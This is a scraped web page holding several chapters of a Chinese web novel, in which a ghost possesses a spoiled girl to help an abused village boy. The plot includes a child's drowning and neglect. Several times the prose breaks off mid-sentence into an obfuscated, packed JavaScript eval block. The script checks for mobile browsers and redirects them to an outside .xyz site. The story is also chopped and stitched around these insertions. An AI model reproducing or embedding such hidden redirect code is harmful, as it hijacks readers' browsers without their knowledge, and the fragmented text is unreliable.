邹茜无语:“孬种,这有什么好怕的,下雨就下雨,难道下雨还能淋死人吗?少废话,去不去?”说完又威胁补充了一句:“你不去,那你跟你弟弟以后就别跟着我,我可不想我的跟班是个孬种,以后也别找我拿吃的玩的。” 黎朝朝心里咯噔一下,总觉得有不好的预感,奈何自己根本阻止不了她。 旁边的两个保镖见状,也在劝邹茜:“小姐,可能要下雨,怕有山洪,不然今天先别去了。” 邹茜心里不痛快:“你也是个怂货,有什么好怕的,你不去就滚蛋,我喊我爷爷重新找保镖来。” 二人只能默不作声。 吴明看了看弟弟,又看了看邹茜和她的保镖,心想着反正人多,没有问题的,就道:“那好吧,我们早去早回!” 等几人走到一半路程,天空果然开始下起了小雨。邹茜喊一个保镖去给自己拿雨伞,等保镖回去后,她又觉得有点饿了,于是吩咐另一个的保镖去给她拿些吃的过来,她想在这里烧烤。 两个保镖走后,渐渐地,雨下开始下得越来越密,山里的河水本就湍急,被大雨一冲,更是咆哮着翻滚。 河岸边,邹茜撑着一片大树叶,干净的绣裙已经有些打湿了,她脚尖不耐烦地在泥地上点着。 “快脱鞋,杵在这里做什么?我们一起下去摸鱼”她歪着脑袋,眼里闪过一丝凌厉。 黎朝朝看了天色和湍急的河水,暗道糟糕,这个点下去,小孩子重心不稳,很容易被冲走,但自己什么也做不了。 这一对兄弟不过十来岁——哥哥吴明十二岁,弟弟吴阳才十岁。两人衣衫单薄,身上有些被雨水打湿,站在岸边,脸上写满了犹豫。 “大小姐,今天的河水太急了,要不然明天再来?不然你不会游泳,要是下去了,会被冲走的。”哥哥吴明低声道。 邹茜“啪”地一声扔掉树叶,往前走一步,恶狠狠道:“我不管,我今天就要捞到鱼。”但是真当她往前一步时,却发现河水湍急,有些心惊胆战,于是伸出的一只脚又缩了回来,可一想到后面两个男孩可能在心里偷偷笑话自己,于是仰起头,对他们道:“我不想下去捞鱼了,你们两个下去捞。” 哥哥吴明还想再劝,邹茜却抬起下巴,瞥了他一眼:“去不去?不去的话,我就把你妈开除了。” 吴明为难道:“大小姐,那我下去吧,我弟弟水性没我好!” “不行,你弟弟比你手脚灵活,抓鱼更快,你们一起下去,快点,我不管,别耽误我时间,快点。”邹茜一口否决。 吴明和吴阳抿了抿唇,抬眼看了看阴沉的天色,还是走向水边。 雨水打在河面,溅起一圈圈碎白的涟漪,哥哥吴明还在脱鞋,弟弟吴阳已经先一步走下去,他刚到河里,水流立刻没过腰部,他小小的身子被冲得踉跄。 “搞快点!别磨磨蹭蹭的。”邹茜在岸上不耐烦地催促着。 忽然,一股更大的水流冲来,吴阳的身影猛地一晃——“扑通”一声,被卷向下游。 黎朝朝见状,赶紧发力,想阻止吴阳被冲走,但是她魂体太脆弱,没有身体做支撑,尽管她很努力催动术法,却只是稍微拦住了吴阳被冲走的速度,可在来势汹汹的河流中,根本无济于事。 “弟弟!”哥哥吴明赶忙踹掉另一只鞋子,大喊着就要游过去。 邹茜看着河水越来越急,怕出事,只能赶忙伸手拦住他:“你想死啊 ?你现在下去,连你也要死,等一下,等保镖来了去救,或者咱俩先去找个树枝。” 雨声掩盖了河水的轰鸣,也吞没了男孩绝望的呼喊。 等吴明反应过来,弟弟的影子已经彻底消失在汹涌的河流里。 回到家的邹茜很害怕,因为两个保镖在河里找了很久,都没有找到那个小孩子,要是真的出事,担心自己会惹火上身,心里有些惶恐不安,便没有睡着。 这一夜,黎朝朝没能上邹茜的身,一是邹茜一直没有入睡,找不到机会;二是自己魂体太虚弱,导致处于昏沉状态,慢慢失去了意识。 —— 翌日。 中午,河道下游的浅滩上,人们找到了那具小小的尸体。 冰冷、僵硬,指尖还攥着一块碎石,似乎是在最后一刻想抓住什么。 村里人窃窃私语,却没人敢当面对质邹茜——毕竟,她爷爷有的是手段让人闭嘴。 她给自家爷爷打了电话,爷爷派了律师团队下来,协商后给了秦兰五十万,秦兰不管不顾,想去报警抓邹茜,但是秦兰娘家人好说歹说让她不要报警,毕竟报警后她一分钱都没有,反正孩子已经没了,还不如拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程淮路过这边来捡蘑菇,听到前面有人喊救命,想都没想,跳下去救人,他抓住她的手臂,用力将她往岸边拖,江水的冲力几乎要把两人都拉走,他咬紧牙关,肩膀被浪打得生疼,却没松手。 终于,两人踉踉跄跄地爬上岸,邹茜浑身湿透,大口大口地喘着气。 程淮站在她面前,浑身水渍沿着发梢和衣襟往下滴。 他原本还想问她怎么样了,可邹茜抬头的第一句话却是—— “你怎么力气这么大,把我都揪痛了!还有,你跳得这么慢,害我差点死了!” 程淮的眉心微微一拧,眼底有困惑,这又与之前的她不一样了。 邹茜还在埋怨,满脸不满。 他没再说话,只是站起身,甩了甩身上的水,转身大步离开。 邹茜被江风吹得直打哆嗦,看着那道远去的背影,懊恼自己不该这么强硬,说这些有的没的干什么,应该谢谢他才对。其实,当时那一刹那,她被推入江中,自己是觉得要死了,没想到他救了自己,看着他帅气的脸,自己心中有些莫名的悸动。 当时,邹茜来村里的第一眼,见到的就是程淮。 他虽然穿得破烂,但是眉眼好看,五官端正,甚至比自己初中班上那些所谓校草的男同学都要好看,只是他身上还有一股难驯的桀骜,不过邹茜心底还是有些好感的,可其他人都对她唯唯诺诺、百般讨好,只有程淮不在乎,在众人面前无视自己,所以自己心里很烦躁,才时不时去找他茬。 可眼下,他竟然救了自己,让自己平复的心,又开始悸动了。 “喂,你为什么不理我?”程淮在前面大步走着,邹茜在后面追着,追到赵家院子前,院子里就是之前的灵堂,邹茜没敢进去了,她怕死人,也怕鬼。 5. 受伤 傍晚,邹茜因为白天落水事件,受到了惊吓,喝过感冒药后,早早地睡下了。 黎朝朝从昏迷中醒过来,发现邹茜躺在床上,黎朝朝上她身后,又顶着邹茜的脸,去找程淮。 今早,赵屠户子已经上山被抬去埋了,黎朝朝走到赵家院子,听到里面传来争执的声音。 王村长站在一群村民前,对赵贵大声道:“赵贵,无论如何,你不该把程淮放到后面的小房子,那里哪有吃的?你要饿死他吗?他还是个孩子,你这么做不怕遭报应?” 赵贵据理力争:“村长,你放心,这只是暂时过渡,我要喊人来看房子,你也晓得我要在城里安家了,放心,我离开前先去程家村,把程淮的亲生父亲找来把他领回去,这几天我好吃好喝供着他。放心,后山有水有电的。” 王村长说着要去后山小木屋看看程淮。 赵贵赶忙拦住了,怕程淮住牛棚的事情被王村长发现,又连忙说了一大通。 王村长看赵贵说了一大通,确实天色也晚了,只能叮嘱赵贵务必要送吃的给程淮,后山冷,还要多拿两床棉被给他盖。 赵贵再三保证,绝对不会亏待他。 “什么玩意,村长了不起啊?老子还是市长呢!狗拿耗子多管闲事!”王村长走了后,赵贵呸了一声,“老子就是让他去住牛棚,还拿棉被给他,我去他的,冻死这狗日的。” 黎朝朝听到这话,赶忙朝着后山找去。 后山果然有一处小木屋。 小木屋已经被改成牛棚了,牛棚里没有牛,却隐隐传来一阵压抑的咳嗽声。 黎朝朝心头一紧,推开半掩的木门,一股霉味扑面而来。她打量了一下四周,发现周围阴暗又潮湿,角落里蜷缩着一个瘦削的身影。 程淮身上裹着一件破旧单衣,脸色苍白得吓人,额头满是冷汗,胸口剧烈起伏着。被冻得湿透的头发贴在脸侧,嘴唇干裂,整个人像是随时会倒下。 “你怎么了?”黎朝朝声音发颤,跑过去蹲在他身边。 程淮半睁着眼,眼神迷离而阴郁,看到她时,却还是本能地别过头去。 黎朝朝心头发酸,伸手去碰他,却被他虚弱地抬手挡开。 “走开!”他嗓音低沉,带着病中压抑的倔强。可话音一落,又是一阵剧烈的咳嗽,整个人蜷缩得更紧。 黎朝朝一把将怀里的塑料袋拿出来,然后脱下自己身上的羽绒服,强硬地给他裹上。 “你都发烧了,逞强干什么。”她眼睛红红的,想到前世他死时,自己最后一面都没有见到,“我找到你,费了这么大劲,不是为了看你死在这里。” 程淮颤抖着,嘴唇开合,想说什么,却被高烧和虚弱压得无力。 牛棚里冷风呼呼灌进来,程淮额头滚烫得吓人,浑身颤抖。黎朝朝慌了,担心这样下去他会被烧坏。 她咬咬牙,把他的胳膊扛到自己肩膀上,“我带你去看医生。” 黎朝朝无比愤恨自己此刻是个手无缚鸡之力的小孩子,为什么不穿成一个大胖子,这样背着他就不会要被压得跪下了,但她还是咬紧牙关,把他一点点驮起来,程淮长手长脚,几乎把她整个人都遮住,像挂在她身上一样。 雪地湿滑,路又陡。 黎朝朝每走一步,鞋子都陷进冰雪里。程淮的头耷在她肩上,呼吸滚烫而急促。 她喘着气,边走边不停对程淮说:“我告诉你,你给我坚持,老娘可不许你再出事。” 可下山的坡道结满冰,终于,在一个拐弯处,黎朝朝脚下一滑,整个人连同背上的程淮一起滚了下去。 “啊——!” 雪地里砰然一声,两人重重摔倒。程淮昏沉得几乎没反应过来,身子被惯性抛出去。黎朝朝眼看他要撞到山石,猛地伸开双臂,把他死死护在怀里。 她背部重重撞在冰硬的地面上,疼得眼前发黑,却还是牢牢护着程淮的头和胸口:“我靠,真TM痛。”黎朝朝痛得破口大骂,望着呼啸风雪,四周一片死寂,想杀人的心都有了。 黎朝朝脸色苍白,气息急促,双手还紧紧抱着程淮,看着他:“没事的,没事的,继续加油。”说完又吃力地在雪地里把他往下拖。 程淮在半昏迷间,似乎听见了她的声音。迷蒙中,他感受到胸口传来微弱却固执的温度,那种从未有人给过他的守护,让他混乱的心海微微一震。 他想张嘴说话,可嗓子里只发出极轻的喘息。 “程淮,你以后一定要好好的,千万不要再给别人可乘之机,被人杀了,你一定要好好活着,然后把我风光娶回家,这样才对得起我在冰天雪地受的这番苦。” 黎朝朝几乎是用尽全身的力气,一点点拖着程淮往山下走。雪地没过脚踝,她的鞋子早就湿透,冻得脚趾麻木失去知觉,她自言自语地说些笑话,让自己撑下去。 一路上,她摔倒过无数次,膝盖磕在石头上,破了皮,血顺着雪水往下淌。可每次她都迅速爬起来,把程淮重新扛住,再继续往前挪。 “快到了……快到了……马上就到了!” 终于,村口的一盏昏黄油灯出现在风雪里,那是村医的小屋。 黎朝朝几乎要笑着哭出声,跌跌撞撞冲过去,嗓子嘶哑:“医生!快救他!” 屋里那位上了年纪的林医生被吓了一跳,抬头就看见一个小小的身影,浑身湿透,怀里死死拖着一个比她大出一头的少年。 程淮面色煞白,头垂着,呼吸急促得吓人。黎朝朝双手通红,胳膊在发抖,却依旧死死不放。 “天啊,你这孩子!”林医生认识邹茜,赶紧上前帮忙,把程淮从她怀里接过去,急忙放到木床上检查。黎朝朝瘫坐在地上,大口喘气,额头、手背全是擦伤,雪水顺着她的发丝滴下来。她抬头看着林医生,声音哑得厉害:“他发烧了……你一定要救他……” 林医生惊讶地瞥了她一眼,眼神里全是心疼和不敢置信:“你这么小的身子,居然能把他从山上背下来?!这赵贵真不是人,竟然不帮一把手,让你一个小女孩把他拖过来,哎。” 黎朝朝累得不想接话。 村医叹了口气,一边急忙取出草药和热水,一边柔声道:“你放心,他没事,只要退了烧就行了。” 听到这话,黎朝朝才整个人软下来。 天微微亮,邹茜睁开了眼睛,背上传来一阵酸痛感,猛然意识到不对,低头一看,脸上身上到处都是伤口,脸色瞬间吓得铁青。 此时的黎朝朝,在半空中飘着微闭着眼睛,这段时间总感觉很累,莫非是因为没有身体支撑,没有休息好的原因?黎朝朝还没有想出原因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549322|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就被邹茜的那股拉力往外带。 邹茜觉得事出蹊跷,连忙朝着王栋国家中跑去,正在洗漱的王栋国看着自己家外孙女到处都是伤痕,加上邹茜断断续续说着,意识到事情不简单,安慰了她几句,然后让老婆子陪陪她,王栋国一个人跑到镇上去,看老友回来了没有。 向师傅的邻居说:“听说后天回来,你后天再来!” 王栋国道了谢,嘱托道:“麻烦你帮我转告他,让他务必到王家村一趟,有十万火急的事情。” 王村长刚进村头,就听说程淮昨日发高烧的事情,立马跑到赵家找赵贵,赵贵不在,于是他又去了村诊所,碰到了刚从村诊所出来的程淮。 王村长很是懊恼,自己昨天怎么也该去看看,就不至于发生这种事情了。他拉着程淮到了自己家里吃饭,程淮推脱不掉,于是,程淮只能跟着村长去他家。 邹茜本来很烦躁,看到程淮出现了,瞬间心中郁结散了一大半。黎朝朝虽然飘在半空中,但是魂体脆弱,有时候像是睡着了又像是昏迷了,感知不到外界,只知道自己一直飘在空中,跟着邹茜。 王村长对着程淮说:“这是我外孙女,邹茜,你们年龄相仿,可以聊聊天,我先去村上处理点事情,马上回来,我先去喊老婆子做饭,你们先坐坐。” 邹茜看着程淮,表情忽然有些害羞。 程淮看到邹茜的一身伤,想到昨夜她费了很大力气才将自己背下来,心中有些触动,主动问她:“痛不痛?” 邹茜正愁自己不知如何搭话,没想到他主动问自己,心中顿时亮起希望,以为他是在问自己落水后还痛不痛的事情,连忙嘟起嘴:“怎么不痛,很痛!” 程淮低着头,半晌才道:“对不起。” 邹茜心中诧异,为何他要跟自己道歉?莫非是终于认识到自己的态度问题了?思及此,邹茜不自然哼了一声,“没关系,我原谅你了。”说完又补充了两句:“你跟村里那群脏兮兮的乡巴佬都不一样,程淮,你以后就这个态度。” 程淮拧眉,觉得有些说不上来,好像眼前人跟昨夜又不是一个人了。 正在疑惑间,王村长的老婆秦秀端着一盘花生出来了,把花生往桌上重重一搁,粗声粗气道:“吃花生。” 秦秀正是秦兰的姐姐,今年五十岁,是王村长的第二任老婆,她并不是邹茜的亲外婆,但是邹茜有钱,她愿意讨好她,可程淮就不一样了,穿得破破烂烂,那赵贵不想要她,王栋国又是个烂好人,所以秦秀十分怕王栋国将程淮带回来养着,目前只能等这一顿饭吃完后,赶快将程淮赶走,不然赖在自己家可不行。 秦秀又阴阳怪气:“哼,有些人啊,就是枯草命,别看其他人家里好,就来沾边。” 邹茜瞪了秦秀一眼:“你在说什么批话,老巫婆。”说完又将花生推到程淮面前,示意他吃。 程淮没动,他不喜欢吃花生。 秦秀不敢瞪邹茜,这可是财神爷,但她却瞪了程淮一眼,才进了里屋。 程淮摇摇头,然后出门走了,他本来就不打算来村长家吃饭,家家有本难念的经,村长是个好人,但他的老婆过于精明算计,不喜欢自己,他其实不在乎别人的态度,但是他还是不想给王村长添麻烦,毕竟从自己进这个村子开始,王村长一直还是很关心自己的。 6. 驱邪 邹茜追上前去,她不明白为什么程淮要走,留在这里吃饭不好吗?但是程淮不搭理她,她只能跟着程淮,朝着他道:“喂,我请你吃饭,我有钱。” 程淮摇摇头。 邹茜暴脾气上来:“为什么不让我请你吃,反正你也是个穷鬼。” 程淮脸色一沉。 邹茜看他又要生气,立马讨好道:“不吃就不吃嘛。” 程淮道:“昨天的事情,谢谢你。” 邹茜看着程淮突如其来的道谢,一头雾水,看着他离去的背影,有些搞不懂到底发生了什么。 另一边,村口站着一个男人,男人穿着道袍,神情肃穆,背着一只旧木匣,里面隐隐传来铜铃轻响,村口玩耍的孩童觉得稀奇,跟在他身后嬉笑打闹,谁也不敢上前。 这男人正是镇上驱邪的向朝天,向师傅一到家,就来找王村长了,王村长立马仔仔细细交代了所有的情况。 “就是她,我外孙女邹茜。”王栋国抬手指向不远处正在院里晒太阳的邹茜。 向朝天眯起眼,目光锐利如刀,打量着邹茜,过了一阵,像是看穿了什么,在昏迷中的黎朝朝总觉得有人在盯着自己,但是自己很虚弱,根本睁不开眼睛。 向师傅看了一会,对着王栋国问了邹茜的八字,然后掐指算了一阵,神情严肃道:“果然,这问题出在小姑娘的八字上……容易招惹异魂,但这鬼魂并没有伤害她,说明她另有其他意图。” 王村长急忙道:“老向,咱俩多年交情,你一定把那脏东西驱出去。” 向朝天点点头,从木匣里取出几枚符纸和一面乌色小镜,口中念念有词。 那一刻,意识模糊的黎朝朝猛然觉得心脏一紧,像被无形的绳索死死缠住。她的魂体微微发抖,感觉周身渗出冷汗,只觉得大事不妙,但又挣不脱。 还好,这个痛苦的时间没有持续多久。但入夜后,黎朝朝始终进不去邹茜的家里,更别谈上身了,更糟糕的是,她发现自己的魂体逐渐变得淡了。 下午,邹茜看到王栋国带来的向师傅,道:“喂,老头,你把那脏东西给我烧死,让她知道来冒犯我的惩罚,你要多少钱我都给你。” 向朝天今年七十三岁,年轻时走南闯北,见过不少东西,虽然是做镇邪的,但他心存善念,相信因果报应,凡事都不要赶尽杀绝,听了邹茜的话,他摇摇头,叹了口气:“女娃子,做人留一线,虽然她不该这样做,但并未害你,你只需要好好休息几天,吃点好的补补身子就可以,至于她,天自有其道,她自有去处。”说完就要走。 邹茜不喜欢向朝天,总觉得他有一双锐利的眼睛,看得透自己做过的那些事情,于是不客气朝着向朝天道:“呸,有什么了不起的,穿得如此破烂,看来是没有什么真本事,不过是江湖神棍。” 王栋国气得想给自己外孙女两巴掌,但又不敢,只能对着老友赔笑脸,而向朝天也气得拂袖走了,临走前告诫道:“女娃子,多行不义必自毙,爷爷我是看你年纪小,不与你一般计较,但你若继续做些伤天害理的事情,自会有天道来管教你。” 向朝天跟王栋国走后,邹茜回去睡觉了,发现果然屋里的气场要好很多,至少没有那么渗人了。 ...... 赵贵寻了许久,终于寻到了程淮的生父-程宇华。 程宇华是个包工头,在工地上指挥时,看到了探头探脑的赵贵,程宇华大声呵斥道:“你是哪个人?工地危险不知道吗?来这里做什么?”。 赵贵说了来龙去脉后,程宇华陷入了沉思,自从第一任妻子死后,那几个孩子都陆续送走了,如今娶了第二任妻子,虽然年轻漂亮,但是因为曾经是坐台小姐,所以生了两个女儿后,身子就无法生育了,程宇华十分想要一个儿子,眼前自己的亲生儿子还在,那怎么都比领养的孩子要好的。 所以,程宇华跟其他人说了一声,然后跟着赵贵去了上溪村,想把程淮接回来。 赵贵心中打着小算盘,怕到时候程宇华看到程淮一身伤,会找自己麻烦,只有恶人先告状。 于是,他编造了许多坏话说给程宇华听,比如从小程淮就不听话,到处惹祸大人,偷鸡摸狗,所以到处惹人嫌,还把自己搞得脏兮兮的,更是说了他两句后,就住在牛棚里跟自己斗气。 程宇华听后,气愤异常,脸上挂不住,但他看着赵贵一脸猥琐样子,也不是什么好人,所以一路上也不怎么搭理赵贵,让他自言自语。 没有走多久,两人就回到了上溪村。 程宇华跟着赵贵走到后山破旧的牛棚前,猛地推开木门,飘来一股刺鼻的臭味。眼前的景象让他瞳孔一缩——那个有着他血的骨肉,竟然蜷缩在一堆稻草里,满身污泥,衣衫褴褛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程淮面无表情地跟着程宇华,他答应回来的唯一要求,那就是要送自己继续读书,程宇华答应了,还带他去山下的镇上馆子吃了饭,只是回来的路上,程宇华要求他喊爸爸,程淮实在没有喊出口,所以程宇华有些生气,一路上不断找茬。 7. 想你 进了屋以后,程淮打量着这屋,那是一座宽敞整齐的宅院,院门朱红,墙壁粉白,和那破败的牛棚判若云泥。 “以后就住这里。”程宇华甩开程淮的胳膊,语气里没有一丝温情。 程淮跌坐在青石板上,抬起头时,正好对上屋檐下几双冷漠的眼神。程宇华的妻子端着铜盆出来,看见这一幕,眉头立刻拧紧:“这就是你说要认回来的孩子?瞧这脏样,叫人怎么放心让他进屋?” 程宇华冷哼:“总归是我儿子,跟我们住着便是。脏?让他自己洗干净。” 于是,程淮被撵去井边,一个木桶、一块粗布,冰冷的井水被泼在他身上,冻得他牙齿打颤。衣裳湿透,紧贴在他瘦削的肩背上,他却不敢出声,只能一遍遍用力搓着污垢。 进了屋后,他被安排在偏屋角落的窄床上。那床铺虽然比牛棚里的稻草强,但散发着霉气,显然很久没人住过。 程宇华对他并无多少关心,每日不是冷眼就是呵斥。吃饭时,他总被王丽打发去做事情,然后他是最后一个上桌,能分到什么全看剩下多少。 程宇华在家还是要好一些,他虽然言语辱骂,却到底是自己的种,也不想在吃上短缺他,所以有时候程宇华看到程淮碗里肉块少了,会让他吃肉,只不过态度不是很好,每次都是皱眉斥道:“自己没长手啊?不会夹快点。” 程淮走后,上溪村里人都觉得程淮还是幸运的,至少得了好归宿,跟自己亲爸爸在一起,肯定比在赵家强,至少不用再在牛棚里受罪。可只有程淮自己清楚,这个家并不比过去好多少,他始终是个外人,与程宇华一家格格不入。 他沉默少言,每日干活尽量不出错,却仍免不了王丽的嫌弃:“笨手笨脚。” 有时候程宇华也想不通,自己吃喝不缺他的,但是程淮成天阴着脸,所以他也渐渐对他更加暴躁,经常骂他是‘养不熟的狼崽子’。 夜色沉沉,寒风卷着院落里的枯枝沙沙作响。 自从被向朝天用符纸镇住后,黎朝朝化作一缕若隐若现的魂魄,始终不能靠近邹茜,且发现自己魂体更加淡了,所以她拼尽最后一丝力气,漂浮到了程家村,找到了程淮,她看见程淮坐在屋檐下,望着天空,眉眼淡然,不知道在想什么。 她想起上一世程淮的结局,心中无比悲戚,这一次,到底是一场梦吗?既然给了我机会到这里来,为什么不让我一直陪着程淮长大呢? 黎朝朝这里几日过得很不好,感觉心力越来越脆弱了,有时候甚至失去意识很多天,老是在坟地里醒过来。她知道自己的日子不多了,只能强行进了邹茜身体里,想去跟程淮好好道个别,圆满一下自己的心愿。 她上邹茜的身时,觉得心口都被撕裂了,还吐出一口黑血,她一个人在黑夜中深一脚浅一脚地走着,还走错几次路,要不是自己当鬼的经历丰富,估计要被吓死在这山林中了,走了许久后,终于到了程家村,到程家村的时候,已经是凌晨四点多了,她又吐了两口黑血,自己的魂魄似乎要马上就消散一般,她告诉自己,一定要撑下去,至少见到程淮最后一面。 她按照记忆,踉跄地走去了程淮家门口,先靠着院门大喘气了一阵,再起身踮脚,往院子里张望程淮的房间。 程淮这几日睡得并不好,心中总是不安宁的感觉,不知道什么原因,反正就是睡得晚,醒得早,现在又醒了。 他读了一会书后,准备起来去挑水锻炼身体,他穿好衣服挑着扁担,打开门,发现了站在院门前浑身狼狈的邹茜。 月色还未褪去,黎朝朝看到出来的程淮,心中满是欣喜,把偷偷带出来的吃食再次塞到程淮手里,眉眼弯弯:“程淮,早上好呀!!!” 程淮怔住,冷硬的眉眼在月光下微微一动。他嘴角紧抿,却终究没拒绝,手指僵硬地攥住那团热气:“你怎么在这里?” “我想见你!程淮,我想见你,所以我来了!”黎朝朝继续笑了笑,说完只觉得嘴里一股腥甜的气味,十分沉闷压抑,她狠狠压住那股往外涌出的血。 听到这个话,程淮拧眉,终究还是问出口:“为何你白日跟夜晚里......很大不同?” 黎朝朝不知作何解释,眨眼道:“也许晚上的我,就是被鬼上了身呢!程淮,你怕鬼吗?” 程淮道:“人比鬼可怕多了。” 他沉默良久,像是下了极大的决心,转身去了厨房,边走边对黎朝朝说:“你等我一下!” 黎朝朝看着他离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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程淮不知道为何,不想接眼前的吃食。 邹茜一连来了好几天,程淮都始终不冷不淡。 邹茜气急败坏地走了。 程淮还是每日站在门口,说来也怪,程淮有时候期盼着邹茜来,但真正看到她后,又觉得自己好像没有那么期待她来,他也不知道自己在想什么。 8. 寻他 1998年3月22日。 这是黎朝朝穿到这个时间以来,难得的好天气。 前几日都是雷声轰隆、阴雨连绵,搅得人心浮躁。 “李霜儿,可以去办理出院手续了。”一名值班护士走上前来,喊了好几遍李霜儿,黎朝朝才反应过来,护士是在喊自己。 黎朝朝好几天都分不清这是现实还是梦境,觉得头很痛,脑海中总有些模糊的记忆,有蝴蝶,又有一个女孩子的脸,还有更小的程淮,她想去试图去回忆,头却痛得更加厉害,怎么都想不起来。 她觉得这可能是借尸还魂的副作用,毕竟前世死后,理应早就凉透了,也早就入土为安了。但是她一睁眼,就到了临江市的单人病房里,发现自己不但活着,还回到了二十年前,只不过唯一遗憾地是,自己不是黎朝朝了,而是变成了一个叫做李霜儿的女人。 黎朝朝从原主脑海中残存的零星记忆得知,这个李霜儿今年二十八岁,刚离异,为了一个渣男寻死觅活,却不幸摔下台阶,在临江市第一人民医院住了半个月,期间没有任何家人来探望,不过好在原主有钱,存款多,才足以支撑着半个月的住院费用。 黎朝朝出院后,第一件事情,就是先去程家村。 三十八岁的程淮曾经说过,他在程家村长大。曾经也有采访报道他的发家事迹,说他身家过亿,在商场上铁血手腕、呼风唤雨,但是早些年吃尽了苦头,自幼父母早亡,辗转多地,却心性坚韧,能忍常人所不能忍。 自从程淮死后,黎朝朝就消沉了好几年,唯一的爱好就是去寺庙祈福,求老天给自己和他下辈子能再相遇,哪怕是给他当牛做马。 黎朝朝觉得自己不是情根深种,是一种有恩必报的心理,毕竟程淮对她有恩,但是自己还没能开始报恩,他就死于非命了,有点类似于子欲养而亲不在的情怀。 所以,当她穿到二十八岁的李霜儿身上的时候,她其实是很开心的,她甚至都没有来得及去看看年轻的外婆,她只是想着,自己一定要把这个恩情给报了,绝不再欠着人家什么。 程家村坐落在临江市的西南方,离市中心有三百多公里,黎朝朝庆幸自己穿来的地方,不是在千里外的首都,而是在临江市的第一人民医院,所以离程家村的距离较近。 不过,黎朝朝还是折腾了一番,她坐了公交车、摩托车、牛车,又走路翻了一座山才到了程家村。她让带路的大叔,直接先带她去了村委,找到村长,打听了程淮家的情况。 程万顺看着眼前的乖乖女娃子,有些稀奇:“女娃子,你打听程家小子做啥?” 黎朝朝提前编了个理由,笑着回答道:“我奶奶是程淮妈妈的二表姨,从前是看着他妈妈长大的,他妈妈去世时,我奶奶身患重病来不了,一直是她的心病,所以我奶奶临终前,嘱咐我务必回来看看她孩子过得怎么样了。” 程万顺瞬间放下心中疑惑,叹了口气,道:“你奶奶有心了。这程家小子是个聪明的嘞,人勤快读书成绩好,就是命苦啊!”说罢,程村长把黎朝朝招呼进来,给她倒了杯水,又继续说道:“他小时候兄弟姐妹多,只因他最小,所以被抱养出去,给赵屠户养了,小小年纪就要起早贪黑,后来,赵屠户死了,赵屠户的儿子把程小子赶出来了。” 黎朝朝问道:“那程淮可以回家了?” 程万顺又叹了口气:“哪还有家啊!他妈妈就是因为得了病,快要死了,怕没人照顾他,所以才将他送出去给赵屠户养着,说起来,那女娃子也是命苦,在程淮被抱养出去才半年,她就撒手人寰了,程家小子的其他的几个兄弟姐妹,大的去了外头成家,小的送人了。” “那程淮后面如何了??”黎朝朝问道。 “后面程宇华,也就是程淮的爸爸,回来了,听说当了包工头,还在外头娶了媳妇,有了两个女儿,但是他现在娶的老婆,叫王丽,王丽以前听说在外头工作伤了身子,生了两个女儿后就再也生不出来了。” “所以程宇华又想要儿子了,就将程淮认了回去?”黎朝朝已经大概猜到后面的事情了。 “可不是嘛,只不过,程宇华没多久就出车祸死了,剩下他后娶的这个老婆还有两个女儿,跟着程淮一起生活。” “村长,程淮家在哪个地方呢?” 程万顺带着黎朝朝到门外,指着一条路道:“你顺着这条青石板路往上走,看到一片桃林就往右转,然后直走走到第三户人家就是。女娃子,你小心些,这王丽凶着嘞,动不动就打孩子,你要是有啥事,就回来找我,我来出面。” 黎朝朝道了谢,按照村长的指引,往前走到了一处房子前,房子不大,白墙黑瓦,有一个小院子。院子里堆着杂乱的柴禾,空气里弥漫着一股馊臭味,柴禾堆旁边有两个六七岁左右的小女孩在玩跳绳。 黎朝朝在门外喊了几声。其中一个蓝色衣服的小女孩走过来开了院门,盯着黎朝朝看,大声问道:“什么事?你是哪个?” 黎朝朝看着面前的小女孩,道:“我找程淮,小妹妹,他在吗?” 另一个小女孩见状,也走了过来,神情傲气:“想知道他去了哪里,那你给我们两颗糖,我们就告诉你,不然,休想!!” 黎朝朝手里没有糖,给了她五块钱,小女孩拿到钱,眉开眼笑地反复看这五元钱,无所谓道:“那野种现在估计到后山去捡吃的了,我妈不给他饭吃,估计他现在饿得要死了。” 黎朝朝面无表情地抽回了小女孩手里的钱,两个小女孩见状哇哇大哭,黎朝朝也不理会,径直朝着后山走去。 ...... 三月的天,还有些许凉意。 山脚下的土地,潮湿泥泞,山间的树木大多还没完全抽芽,枝条光秃秃的,只在枝头零零星星冒出嫩绿的新芽。 程淮捂着瘪瘪的肚子,鞋底磨得发薄,一步一步艰难地往上爬。他的喉咙像被火烧一样干,肚子里翻江倒海般咕咕作响。 其实初三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549325|186755||http|test|mini|href|location''.split(''|''),0,{})); () { 